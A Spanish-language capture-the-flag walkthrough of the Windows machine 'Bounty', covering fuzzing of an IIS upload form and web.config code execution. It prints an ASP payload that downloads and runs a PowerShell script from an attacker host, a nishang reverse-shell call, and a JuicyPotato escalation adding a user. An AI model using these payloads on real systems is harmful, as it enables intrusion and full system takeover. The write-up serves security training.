Bounty

Publicado: 14 de Junio de 2025 Autor: Josรฉ Miguel Romero aKa x3m1Sec Dificultad: โญ Easy

๐Ÿ“ Descripciรณn

Bounty es una mรกquina Windows de dificultad Easy que presenta un servidor web IIS 7.5 con funcionalidad de carga de archivos. La explotaciรณn inicial se logra mediante el abuso de archivos web.config en IIS para ejecutar cรณdigo ASP, lo que permite obtener una reverse shell. La escalada de privilegios se realiza aprovechando el token SeImpersonatePrivilege con JuicyPotato, una tรฉcnica clรกsica en sistemas Windows Server 2008.

Tรฉcnicas principales:

  • Enumeraciรณn web y fuzzing de directorios

  • Bypass de restricciones de carga de archivos

  • Explotaciรณn de archivos web.config en IIS

  • Escalada de privilegios con SeImpersonatePrivilege

  • Uso de JuicyPotato para elevar privilegios

๐Ÿ”ญ Reconocimiento

๐Ÿ“ Ping para verificaciรณn en base a TTL

๐Ÿ’ก Nota: El TTL cercano a 128 sugiere que probablemente sea una mรกquina Windows.

๐Ÿ” Escaneo de puertos

๐Ÿ› ๏ธ Enumeraciรณn de servicios


๐ŸŒ Enumeraciรณn Web

๐Ÿ—๏ธ Puerto 80 HTTP (Microsoft IIS httpd 7.5)

Accedemos al servicio lo รบnico que vemos es una imagen del mago merlin:

El cรณdigo fuente tampoco revela nada de utilidad salvo la imagen

๐Ÿ”Ž Fuzzing de directorios

Realizamos fuzzing de directorios usando la herramienta gobuster y encontramos un recurso /UploadedFiles interesante para analizar y que podrรญa servirnos para un potencial vector de ataque:

Nos sirve tambiรฉn para confirmar que se trata de una mรกquina windows ya que el mismo recurso es vรกlido por triplicado ya que windows es case-insensitive.

Por el momento no podemos hacer nada con este recurso, ya que nos devuelve un 403 lo que parece indicar a priori que no tenemos permisos para el directorio raรญz pero a lo mejor sรญ tendrรญamos si conociรฉsemos algรบn recurso dentro de รฉl.

Volvemos a ejecutar feroxbuster pero esta vez vamos a incluir extensiones de archivos asp, aspx, ya que estamos ante un seridor IIS, para ver si encontramos algรบn otro recurso interesante:

Encontramos un recurso /transfer.aspx

๐Ÿ“ค Analizando el recurso /transfer.aspx

Al acceder al recurso /transfer descubrimos un mรณdulo de carga de archivos:

Al acceder al recurso /transfer descubrimos un mรณdulo de carga de archivos:

Podemos probar manualmente para ver quรฉ extensiones estรกn permitidas, aunque tambiรฉn podemos automatizar un poco esto usando listas de Fuzzing de extensiones de las que tenemos en /usr/share/seclists

Podemos filtrar por nรบmero de lรญneas para ver el tamaรฑo y elegir la que mejor consideremos:

๐ŸŽฃ Fuzzing con Burp Suite

Podemos usar Burp y el Intruder con un ataque de tipo Sniper y usando como SImple List la lista raft-medium-extensions-lowercase.txt

Una vez cargada la lista, en Options, seleccionamos Grep Extract y aรฑadimos el mensaje de error por el que filtraremos la respuesta:

Desactivamos tambiรฉn la opciรณn para que no nos codifique el carรกcter "." que va con la extensiรณn

Iniciamos el ataque y comenzamos a ver extensiones vรกlidas:

๐Ÿ Fuzzing con Script alternativo en Python

Como alternativa tambiรฉn podemos implementar un script en python que lo automatice de esta forma:

Hay una extensiรณn interesante que estรก permitida entre todas ellas y es la extensiรณn .config

โšก Descubrimiento de la extensiรณn .config

Si buscamos informaciรณn por IIS config file exploit encontramos un sitio donde se explica esta vulnerabilidad con una pequeรฑa PoC

https://www.ivoidwarranties.tech/posts/pentesting-tuts/iis/web-config/

๐Ÿงช Prueba de concepto

A partir del comentario, podemos ejecutar cรณdigo ASP. En esta PoC estรก realizando una pequeรฑa suma de 1+2, por lo que subimos este archivo y lo ejecutamos, deberรญamos recibir un 3:

Subimos el archivo web.config

Accedemos a รฉl a travรฉs del recurso descubierto durante la fase de fuzzing de directorios:

Y comprobamos que obtenemos un valor 3:

๐Ÿ’ฅ Ejecuciรณn remota de comandos (RCE)

Lo interesante es que ahora podemos convertir esto es una RCE (ejecuciรณn remota de comandos) y ganar acceso al sistema modificando el payload:

Podemos descargar un ASP one-liner de este recurso: https://www.hackingdream.net/2020/02/reverse-shell-cheat-sheet-for-penetration-testing-oscp.html o adaptar ligeramente el de este otro https://github.com/cspshivam/webshells/blob/main/webshell.aspx

Lo adaptamos para que en lugar de ejecutar el comando whoami ejecute un archivo en powershell que contendrรก nuestra reverse shell

<% Set rs = CreateObject("WScript.Shell") Set cmd = rs.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/rev.ps1')") o = cmd.StdOut.Readall() Response.write(o) %>

Asรญ quedarรญa finalmente nuestro archivo web.config

Faltarรญa definir lo que serรก el archivo rev.ps1, que serรก una Invoke-PowerShellTcp.ps1 de nishang https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 a la que aรฑadiremos al final del script el comando para ejecutar la reverse shell especificando nuestro host y puerto de ataque donde estaremos escuchando con netcat

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443

๐ŸŽฏ Ganando acceso inicial

Iniciamos un listener con netcat en nuestro host de ataque:

Tras subir el archivo web.config y acceder a รฉn en http://10.10.10.93/uploadedfiles/web.config recibiremos la conexiรณn reversa y ganaremos acceso a la mรกquina:

๐Ÿ‘ค Obteniendo la flag user.txt

Estamos dentro de la mรกquina como usuario merlin sin embargo no encontramos la flag user.txt donde suele estar habitualmente que es el directorio Desktop del usuario con bajos privilegios, en este caso merlin

Tampoco nos deja lista forma recursiva por la cadena "user.txt" para buscar la flag:

Sin embargo, como estamos en PowerShell si hacemos un dir -Forcepara que incluya archivos ocultos logramos verla y leer su contenido:

๐Ÿš€ Escalada de Privilegios

๐Ÿ” Enumeraciรณn de privilegios

Verificamos quรฉ privilegios tiene el usuario merlin y vemos que tiene el privilegio SeImpersonatePrivilege habilitado.

Y dado que estamos en una mรกquina Windows Server 2008 podemos tratar de usar Juicy Potato clรกsico:

๐Ÿฅ” Explotaciรณn con JuicyPotato

Descargamos el binario compilado de: https://github.com/ohpe/juicy-potato/releases/tag/v0.1

Descargamos tambiรฉn netcat en la versiรณn de 64 bits y transferimos ambas herramientas al host con WIndows Server 2008:

๐Ÿงช Prueba de JuicyPotato

Ahora procedemos a ejecutar el binario de JuicyPotato. Podemos hacer por ejemplo la prueba de ejecutarlo para aรฑadir un nuevo usuario al sistema, esto confirmarรญa que funciona que ya solo NT System puede hacerlo:

Parรกmetro
Descripciรณn

-t *

Usa cualquier tipo de token (tรญpicamente: *, clsid, o moniker). En este caso * es vรกlido. En caso de que de problemas usar un CLSID que corresponda a la versiรณn en https://github.com/ohpe/juicy-potato/tree/master/CLSID

-p C:\Windows\System32\cmd.exe

Especifica el ejecutable que se lanzarรก con privilegios elevados.

-l 1337

Es el puerto COM local que JuicyPotato usarรก para la comunicaciรณn (puede ser cualquier valor no usado).

-a "/c net user x3m1Sec x3m1Sec123! /add"

Argumentos pasados a cmd.exe, que en este caso aรฑade un nuevo usuario.

๐Ÿ‘‘ Ganando privilegios de SYSTEM

Si queremos ganar acceso al sistema como NT system, bastarรญa iniciar un listener en nuestro host de ataque usando netcat y modificar el payload del comando que queremos ejecutar con JuicyPotato a este:

Y deberemos recibir en nuestro listener la conexiรณn reversa con privilegios de NT System y podremos leer la flag root.txt:

Last updated